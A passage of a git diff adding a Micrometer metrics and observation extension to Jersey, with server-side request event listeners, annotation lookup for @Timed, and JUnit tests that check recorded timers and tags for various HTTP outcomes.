timedAnnotationsOnRequest.remove(containerRequest); + Timer.Sample shortSample = shortTaskSample.remove(containerRequest); + + if (shortSample != null) { + for (Timer timer : shortTimers(timedAnnotations, event)) { + shortSample.stop(timer); + } + } + + Collection longSamples = this.longTaskSamples.remove(containerRequest); + if (longSamples != null) { + for (LongTaskTimer.Sample longSample : longSamples) { + longSample.stop(); + } + } + break; + } + } + + private void time(RequestEvent event, ContainerRequest containerRequest) { + Set timedAnnotations; + timedAnnotations = annotations(event); + + timedAnnotationsOnRequest.put(containerRequest, timedAnnotations); + shortTaskSample.put(containerRequest, Timer.start(registry)); + + List longTaskSamples = longTaskTimers(timedAnnotations, event).stream() + .map(LongTaskTimer::start) + .collect(Collectors.toList()); + if (!longTaskSamples.isEmpty()) { + this.longTaskSamples.put(containerRequest, longTaskSamples); + } + } + + private boolean isNotFoundException(RequestEvent event) { + Throwable t = event.getException(); + if (t == null) { + return false; + } + String className = t.getClass().getCanonicalName(); + return className.equals("jakarta.ws.rs.NotFoundException") || className.equals("jakarta.ws.rs.NotFoundException"); + } + + private Set shortTimers(Set timed, RequestEvent event) { + /* + * Given we didn't find any matching resource method, 404s will be only recorded + * when auto-time-requests is enabled. On par with WebMVC instrumentation. + */ + if ((timed == null || timed.isEmpty()) && autoTimeRequests) { + return Collections.singleton(registry.timer(metricName, tagsProvider.httpRequestTags(event))); + } + + if (timed == null) { + return Collections.emptySet(); + } + + return timed.stream() + .filter(annotation -> !annotation.longTask()) + .map(t -> Timer.builder(t, metricName).tags(tagsProvider.httpRequestTags(event)).register(registry)) + .collect(Collectors.toSet()); + } + + private Set longTaskTimers(Set timed, RequestEvent event) { + return timed.stream() + .filter(Timed::longTask) + .map(LongTaskTimer::builder) + .map(b -> b.tags(tagsProvider.httpLongRequestTags(event)).register(registry)) + .collect(Collectors.toSet()); + } + + private Set annotations(RequestEvent event) { + final Set timed = new HashSet<>(); + + final ResourceMethod matchingResourceMethod = event.getUriInfo().getMatchedResourceMethod(); + if (matchingResourceMethod != null) { + // collect on method level + timed.addAll(timedFinder.findTimedAnnotations(matchingResourceMethod.getInvocable().getHandlingMethod())); + + // fallback on class level + if (timed.isEmpty()) { + timed.addAll(timedFinder.findTimedAnnotations( + matchingResourceMethod.getInvocable().getHandlingMethod().getDeclaringClass())); + } + } + return timed; + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationApplicationEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationApplicationEventListener.java new file mode 100644 index 00000000000..6f519f0c22b --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationApplicationEventListener.java @@ -0,0 +1,62 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.observation.ObservationRegistry; +import org.glassfish.jersey.server.monitoring.ApplicationEvent; +import org.glassfish.jersey.server.monitoring.ApplicationEventListener; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEventListener; + +import static java.util.Objects.requireNonNull; + +/** + * The Micrometer {@link ApplicationEventListener} which registers + * {@link RequestEventListener} for instrumenting Jersey server requests with + * observations. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public class ObservationApplicationEventListener implements ApplicationEventListener { + + private final ObservationRegistry observationRegistry; + + private final String metricName; + + private final JerseyObservationConvention jerseyObservationConvention; + + public ObservationApplicationEventListener(ObservationRegistry observationRegistry, String metricName) { + this(observationRegistry, metricName, null); + } + + public ObservationApplicationEventListener(ObservationRegistry observationRegistry, String metricName, + JerseyObservationConvention jerseyObservationConvention) { + this.observationRegistry = requireNonNull(observationRegistry); + this.metricName = requireNonNull(metricName); + this.jerseyObservationConvention = jerseyObservationConvention; + } + + @Override + public void onEvent(ApplicationEvent event) { + } + + @Override + public RequestEventListener onRequest(RequestEvent requestEvent) { + return new ObservationRequestEventListener(observationRegistry, metricName, jerseyObservationConvention); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationRequestEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationRequestEventListener.java new file mode 100644 index 00000000000..953944b26e1 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationRequestEventListener.java @@ -0,0 +1,145 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.Collections; +import java.util.IdentityHashMap; +import java.util.Map; +import java.util.Objects; + +import io.micrometer.observation.Observation; +import io.micrometer.observation.ObservationRegistry; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEventListener; + +import static java.util.Objects.requireNonNull; + +/** + * {@link RequestEventListener} recording observations for Jersey server requests. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public class ObservationRequestEventListener implements RequestEventListener { + + private final Map observations = Collections + .synchronizedMap(new IdentityHashMap<>()); + + private final ObservationRegistry registry; + + private final JerseyObservationConvention customConvention; + + private final String metricName; + + private final JerseyObservationConvention defaultConvention; + + public ObservationRequestEventListener(ObservationRegistry registry, String metricName) { + this(registry, metricName, null); + } + + public ObservationRequestEventListener(ObservationRegistry registry, String metricName, + JerseyObservationConvention customConvention) { + this.registry = requireNonNull(registry); + this.metricName = requireNonNull(metricName); + this.customConvention = customConvention; + this.defaultConvention = new DefaultJerseyObservationConvention(this.metricName); + } + + @Override + public void onEvent(RequestEvent event) { + ContainerRequest containerRequest = event.getContainerRequest(); + + switch (event.getType()) { + case ON_EXCEPTION: + if (!isNotFoundException(event)) { + break; + } + startObservation(event); + break; + case REQUEST_MATCHED: + startObservation(event); + break; + case RESP_FILTERS_START: + ObservationScopeAndContext observationScopeAndContext = observations.get(containerRequest); + if (observationScopeAndContext != null) { + observationScopeAndContext.jerseyContext.setResponse(event.getContainerResponse()); + observationScopeAndContext.jerseyContext.setRequestEvent(event); + } + break; + case FINISHED: + ObservationScopeAndContext finishedObservation = observations.remove(containerRequest); + if (finishedObservation != null) { + finishedObservation.jerseyContext.setRequestEvent(event); + Observation.Scope observationScope = finishedObservation.observationScope; + observationScope.close(); + observationScope.getCurrentObservation().stop(); + } + break; + default: + break; + } + } + + private void startObservation(RequestEvent event) { + JerseyContext jerseyContext = new JerseyContext(event); + Observation observation = JerseyObservationDocumentation.DEFAULT.start(this.customConvention, + this.defaultConvention, () -> jerseyContext, this.registry); + Observation.Scope scope = observation.openScope(); + observations.put(event.getContainerRequest(), new ObservationScopeAndContext(scope, jerseyContext)); + } + + private boolean isNotFoundException(RequestEvent event) { + Throwable t = event.getException(); + if (t == null) { + return false; + } + String className = t.getClass().getCanonicalName(); + return className.equals("jakarta.ws.rs.NotFoundException") || className.equals("jakarta.ws.rs.NotFoundException"); + } + + private static class ObservationScopeAndContext { + + final Observation.Scope observationScope; + + final JerseyContext jerseyContext; + + ObservationScopeAndContext(Observation.Scope observationScope, JerseyContext jerseyContext) { + this.observationScope = observationScope; + this.jerseyContext = jerseyContext; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + ObservationScopeAndContext that = (ObservationScopeAndContext) o; + return Objects.equals(observationScope, that.observationScope) + && Objects.equals(jerseyContext, that.jerseyContext); + } + + @Override + public int hashCode() { + return Objects.hash(observationScope, jerseyContext); + } + + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/TimedFinder.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/TimedFinder.java new file mode 100644 index 00000000000..42d47451bce --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/TimedFinder.java @@ -0,0 +1,49 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.lang.reflect.AnnotatedElement; +import java.util.Arrays; +import java.util.Collections; +import java.util.Set; +import java.util.stream.Collectors; + +import io.micrometer.core.annotation.Timed; +import io.micrometer.core.annotation.TimedSet; + +class TimedFinder { + + private final AnnotationFinder annotationFinder; + + TimedFinder(AnnotationFinder annotationFinder) { + this.annotationFinder = annotationFinder; + } + + Set findTimedAnnotations(AnnotatedElement element) { + Timed t = annotationFinder.findAnnotation(element, Timed.class); + if (t != null) { + return Collections.singleton(t); + } + + TimedSet ts = annotationFinder.findAnnotation(element, TimedSet.class); + if (ts != null) { + return Arrays.stream(ts.value()).collect(Collectors.toSet()); + } + + return Collections.emptySet(); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/package-info.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/package-info.java new file mode 100644 index 00000000000..0d9e95e8040 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/package-info.java @@ -0,0 +1,20 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Binders for Jersey. Code ported from Micrometer repository. + */ +package org.glassfish.jersey.micrometer.server; diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProviderTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProviderTest.java new file mode 100644 index 00000000000..d0445f97da0 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProviderTest.java @@ -0,0 +1,141 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.net.URI; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.stream.Collectors; + +import jakarta.ws.rs.NotAcceptableException; + +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ExtendedUriInfo; +import org.glassfish.jersey.server.internal.monitoring.RequestEventImpl.Builder; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEvent.Type; +import org.glassfish.jersey.uri.UriTemplate; +import org.junit.jupiter.api.Test; + +import static java.util.stream.StreamSupport.stream; +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * Tests for {@link DefaultJerseyTagsProvider}. + * + * @author Michael Weirauch + * @author Johnny Lim + */ +class DefaultJerseyTagsProviderTest { + + private final DefaultJerseyTagsProvider tagsProvider = new DefaultJerseyTagsProvider(); + + @Test + void testRootPath() { + assertThat(tagsProvider.httpRequestTags(event(200, null, "/", (String[]) null))) + .containsExactlyInAnyOrder(tagsFrom("root", 200, null, "SUCCESS")); + } + + @Test + void templatedPathsAreReturned() { + assertThat(tagsProvider.httpRequestTags(event(200, null, "/", "/", "/hello/{name}"))) + .containsExactlyInAnyOrder(tagsFrom("/hello/{name}", 200, null, "SUCCESS")); + } + + @Test + void applicationPathIsPresent() { + assertThat(tagsProvider.httpRequestTags(event(200, null, "/app", "/", "/hello"))) + .containsExactlyInAnyOrder(tagsFrom("/app/hello", 200, null, "SUCCESS")); + } + + @Test + void notFoundsAreShunted() { + assertThat(tagsProvider.httpRequestTags(event(404, null, "/app", "/", "/not-found"))) + .containsExactlyInAnyOrder(tagsFrom("NOT_FOUND", 404, null, "CLIENT_ERROR")); + } + + @Test + void redirectsAreShunted() { + assertThat(tagsProvider.httpRequestTags(event(301, null, "/app", "/", "/redirect301"))) + .containsExactlyInAnyOrder(tagsFrom("REDIRECTION", 301, null, "REDIRECTION")); + assertThat(tagsProvider.httpRequestTags(event(302, null, "/app", "/", "/redirect302"))) + .containsExactlyInAnyOrder(tagsFrom("REDIRECTION", 302, null, "REDIRECTION")); + assertThat(tagsProvider.httpRequestTags(event(399, null, "/app", "/", "/redirect399"))) + .containsExactlyInAnyOrder(tagsFrom("REDIRECTION", 399, null, "REDIRECTION")); + } + + @Test + @SuppressWarnings("serial") + void exceptionsAreMappedCorrectly() { + assertThat(tagsProvider.httpRequestTags(event(500, new IllegalArgumentException(), "/app", (String[]) null))) + .containsExactlyInAnyOrder(tagsFrom("/app", 500, "IllegalArgumentException", "SERVER_ERROR")); + assertThat(tagsProvider.httpRequestTags( + event(500, new IllegalArgumentException(new NullPointerException()), "/app", (String[]) null))) + .containsExactlyInAnyOrder(tagsFrom("/app", 500, "NullPointerException", "SERVER_ERROR")); + assertThat(tagsProvider.httpRequestTags(event(406, new NotAcceptableException(), "/app", (String[]) null))) + .containsExactlyInAnyOrder(tagsFrom("/app", 406, "NotAcceptableException", "CLIENT_ERROR")); + assertThat(tagsProvider.httpRequestTags(event(500, new Exception("anonymous") { + }, "/app", (String[]) null))).containsExactlyInAnyOrder(tagsFrom("/app", 500, + "org.glassfish.jersey.micrometer.server.DefaultJerseyTagsProviderTest$1", "SERVER_ERROR")); + } + + @Test + void longRequestTags() { + assertThat(tagsProvider.httpLongRequestTags(event(0, null, "/app", (String[]) null))) + .containsExactlyInAnyOrder(Tag.of("method", "GET"), Tag.of("uri", "/app")); + } + + private static RequestEvent event(Integer status, Exception exception, String baseUri, + String... uriTemplateStrings) { + Builder builder = new Builder(); + + ContainerRequest containerRequest = mock(ContainerRequest.class); + when(containerRequest.getMethod()).thenReturn("GET"); + builder.setContainerRequest(containerRequest); + + ContainerResponse containerResponse = mock(ContainerResponse.class); + when(containerResponse.getStatus()).thenReturn(status); + builder.setContainerResponse(containerResponse); + + builder.setException(exception, null); + + ExtendedUriInfo extendedUriInfo = mock(ExtendedUriInfo.class); + when(extendedUriInfo.getBaseUri()) + .thenReturn(URI.create("http://localhost:8080" + (baseUri == null ? "/" : baseUri))); + List uriTemplates = uriTemplateStrings == null ? Collections.emptyList() + : Arrays.stream(uriTemplateStrings).map(uri -> new UriTemplate(uri)).collect(Collectors.toList()); + // UriTemplate are returned in reverse order + Collections.reverse(uriTemplates); + when(extendedUriInfo.getMatchedTemplates()).thenReturn(uriTemplates); + builder.setExtendedUriInfo(extendedUriInfo); + + return builder.build(Type.FINISHED); + } + + private static Tag[] tagsFrom(String uri, int status, String exception, String outcome) { + Iterable expectedTags = Tags.of("method", "GET", "uri", uri, "status", String.valueOf(status), "exception", + exception == null ? "None" : exception, "outcome", outcome); + + return stream(expectedTags.spliterator(), false).toArray(Tag[]::new); + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTest.java new file mode 100644 index 00000000000..96324b2a8a4 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTest.java @@ -0,0 +1,174 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.NotFoundException; +import jakarta.ws.rs.core.Application; + +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; +import org.glassfish.jersey.micrometer.server.mapper.ResourceGoneExceptionMapper; +import org.glassfish.jersey.micrometer.server.resources.TestResource; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Tests for {@link MetricsApplicationEventListener}. + * + * @author Michael Weirauch + * @author Johnny Lim + */ +class MetricsRequestEventListenerTest extends JerseyTest { + + static { + Logger.getLogger("org.glassfish.jersey").setLevel(Level.OFF); + } + + private static final String METRIC_NAME = "http.server.requests"; + + private MeterRegistry registry; + + @Override + protected Application configure() { + registry = new SimpleMeterRegistry(); + + final MetricsApplicationEventListener listener = new MetricsApplicationEventListener(registry, + new DefaultJerseyTagsProvider(), METRIC_NAME, true); + + final ResourceConfig config = new ResourceConfig(); + config.register(listener); + config.register(TestResource.class); + config.register(ResourceGoneExceptionMapper.class); + + return config; + } + + @Test + void resourcesAreTimed() { + target("/").request().get(); + target("hello").request().get(); + target("hello/").request().get(); + target("hello/peter").request().get(); + target("sub-resource/sub-hello/peter").request().get(); + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("root", "200", "SUCCESS", null)).timer().count()) + .isEqualTo(1); + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/hello", "200", "SUCCESS", null)).timer().count()) + .isEqualTo(2); + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/hello/{name}", "200", "SUCCESS", null)).timer().count()) + .isEqualTo(1); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/sub-resource/sub-hello/{name}", "200", "SUCCESS", null)) + .timer() + .count()).isEqualTo(1); + + // assert we are not auto-timing long task @Timed + assertThat(registry.getMeters()).hasSize(4); + } + + @Test + void notFoundIsAccumulatedUnderSameUri() { + try { + target("not-found").request().get(); + } + catch (NotFoundException ignored) { + } + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("NOT_FOUND", "404", "CLIENT_ERROR", null)).timer().count()) + .isEqualTo(1); + } + + @Test + void notFoundIsReportedWithUriOfMatchedResource() { + try { + target("throws-not-found-exception").request().get(); + } + catch (NotFoundException ignored) { + } + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/throws-not-found-exception", "404", "CLIENT_ERROR", null)) + .timer() + .count()).isEqualTo(1); + } + + @Test + void redirectsAreReportedWithUriOfMatchedResource() { + target("redirect/302").request().get(); + target("redirect/307").request().get(); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/redirect/{status}", "302", "REDIRECTION", null)) + .timer() + .count()).isEqualTo(1); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/redirect/{status}", "307", "REDIRECTION", null)) + .timer() + .count()).isEqualTo(1); + } + + @Test + void exceptionsAreMappedCorrectly() { + try { + target("throws-exception").request().get(); + } + catch (Exception ignored) { + } + try { + target("throws-webapplication-exception").request().get(); + } + catch (Exception ignored) { + } + try { + target("throws-mappable-exception").request().get(); + } + catch (Exception ignored) { + } + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/throws-exception", "500", "SERVER_ERROR", "IllegalArgumentException")) + .timer() + .count()).isEqualTo(1); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/throws-webapplication-exception", "401", "CLIENT_ERROR", "NotAuthorizedException")) + .timer() + .count()).isEqualTo(1); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/throws-mappable-exception", "410", "CLIENT_ERROR", "ResourceGoneException")) + .timer() + .count()).isEqualTo(1); + } + + private static Iterable tagsFrom(String uri, String status, String outcome, String exception) { + return Tags.of("method", "GET", "uri", uri, "status", status, "outcome", outcome, "exception", + exception == null ? "None" : exception); + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTimedTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTimedTest.java new file mode 100644 index 00000000000..bd9cd244367 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTimedTest.java @@ -0,0 +1,188 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import io.micrometer.core.Issue; +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; +import org.glassfish.jersey.micrometer.server.resources.TimedOnClassResource; +import org.glassfish.jersey.micrometer.server.resources.TimedResource; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.assertj.core.api.Assertions.assertThatExceptionOfType; + +/** + * @author Michael Weirauch + */ +class MetricsRequestEventListenerTimedTest extends JerseyTest { + + static { + Logger.getLogger("org.glassfish.jersey").setLevel(Level.OFF); + } + + private static final String METRIC_NAME = "http.server.requests"; + + private MeterRegistry registry; + + private CountDownLatch longTaskRequestStartedLatch; + + private CountDownLatch longTaskRequestReleaseLatch; + + @Override + protected Application configure() { + registry = new SimpleMeterRegistry(); + longTaskRequestStartedLatch = new CountDownLatch(1); + longTaskRequestReleaseLatch = new CountDownLatch(1); + + final MetricsApplicationEventListener listener = new MetricsApplicationEventListener(registry, + new DefaultJerseyTagsProvider(), METRIC_NAME, false); + + final ResourceConfig config = new ResourceConfig(); + config.register(listener); + config.register(new TimedResource(longTaskRequestStartedLatch, longTaskRequestReleaseLatch)); + config.register(TimedOnClassResource.class); + + return config; + } + + @Test + void resourcesAndNotFoundsAreNotAutoTimed() { + target("not-timed").request().get(); + target("not-found").request().get(); + + assertThat(registry.find(METRIC_NAME).tags(tagsFrom("/not-timed", 200)).timer()).isNull(); + + assertThat(registry.find(METRIC_NAME).tags(tagsFrom("NOT_FOUND", 404)).timer()).isNull(); + } + + @Test + void resourcesWithAnnotationAreTimed() { + target("timed").request().get(); + target("multi-timed").request().get(); + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/timed", 200)).timer().count()).isEqualTo(1); + + assertThat(registry.get("multi1").tags(tagsFrom("/multi-timed", 200)).timer().count()).isEqualTo(1); + + assertThat(registry.get("multi2").tags(tagsFrom("/multi-timed", 200)).timer().count()).isEqualTo(1); + } + + @Test + void longTaskTimerSupported() throws InterruptedException, ExecutionException, TimeoutException { + final Future future = target("long-timed").request().async().get(); + + /* + * Wait until the request has arrived at the server side. (Async client processing + * might be slower in triggering the request resulting in the assertions below to + * fail. Thread.sleep() is not an option, so resort to CountDownLatch.) + */ + longTaskRequestStartedLatch.await(5, TimeUnit.SECONDS); + + // the request is not timed, yet + assertThat(registry.find(METRIC_NAME).tags(tagsFrom("/timed", 200)).timer()).isNull(); + + // the long running task is timed + assertThat(registry.get("long.task.in.request") + .tags(Tags.of("method", "GET", "uri", "/long-timed")) + .longTaskTimer() + .activeTasks()).isEqualTo(1); + + // finish the long running request + longTaskRequestReleaseLatch.countDown(); + future.get(5, TimeUnit.SECONDS); + + // the request is timed after the long running request completed + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/long-timed", 200)).timer().count()).isEqualTo(1); + } + + @Test + @Issue("gh-2861") + void longTaskTimerOnlyOneMeter() throws InterruptedException, ExecutionException, TimeoutException { + final Future future = target("just-long-timed").request().async().get(); + + /* + * Wait until the request has arrived at the server side. (Async client processing + * might be slower in triggering the request resulting in the assertions below to + * fail. Thread.sleep() is not an option, so resort to CountDownLatch.) + */ + longTaskRequestStartedLatch.await(5, TimeUnit.SECONDS); + + // the long running task is timed + assertThat(registry.get("long.task.in.request") + .tags(Tags.of("method", "GET", "uri", "/just-long-timed")) + .longTaskTimer() + .activeTasks()).isEqualTo(1); + + // finish the long running request + longTaskRequestReleaseLatch.countDown(); + future.get(5, TimeUnit.SECONDS); + + // no meters registered except the one checked above + assertThat(registry.getMeters().size()).isOne(); + } + + @Test + void unnamedLongTaskTimerIsNotSupported() { + assertThatExceptionOfType(ProcessingException.class) + .isThrownBy(() -> target("long-timed-unnamed").request().get()) + .withCauseInstanceOf(IllegalArgumentException.class); + } + + @Test + void classLevelAnnotationIsInherited() { + target("/class/inherited").request().get(); + + assertThat(registry.get(METRIC_NAME) + .tags(Tags.concat(tagsFrom("/class/inherited", 200), Tags.of("on", "class"))) + .timer() + .count()).isEqualTo(1); + } + + @Test + void methodLevelAnnotationOverridesClassLevel() { + target("/class/on-method").request().get(); + + assertThat(registry.get(METRIC_NAME) + .tags(Tags.concat(tagsFrom("/class/on-method", 200), Tags.of("on", "method"))) + .timer() + .count()).isEqualTo(1); + + // class level annotation is not picked up + assertThat(registry.getMeters()).hasSize(1); + } + + private static Iterable tagsFrom(String uri, int status) { + return Tags.of("method", "GET", "uri", uri, "status", String.valueOf(status), "exception", "None"); + } + +} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/filter/Counter.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/exception/ResourceGoneException.java similarity index 60% rename from ext/spring4/src/test/java/org/glassfish/jersey/server/spring/filter/Counter.java rename to ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/exception/ResourceGoneException.java index 28de237b300..99f654dc99b 100644 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/filter/Counter.java +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/exception/ResourceGoneException.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -13,22 +13,20 @@ * * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ +package org.glassfish.jersey.micrometer.server.exception; -package org.glassfish.jersey.server.spring.filter; +public class ResourceGoneException extends RuntimeException { -import org.springframework.stereotype.Component; - -@Component -public class Counter { - - private int count = 0; + public ResourceGoneException() { + super(); + } - public void inc() { - count++; + public ResourceGoneException(String message) { + super(message); } - public int getCount() { - return count; + public ResourceGoneException(String message, Throwable cause) { + super(message, cause); } } diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/mapper/ResourceGoneExceptionMapper.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/mapper/ResourceGoneExceptionMapper.java new file mode 100644 index 00000000000..e76867d84bd --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/mapper/ResourceGoneExceptionMapper.java @@ -0,0 +1,31 @@ +/* + * Copyright 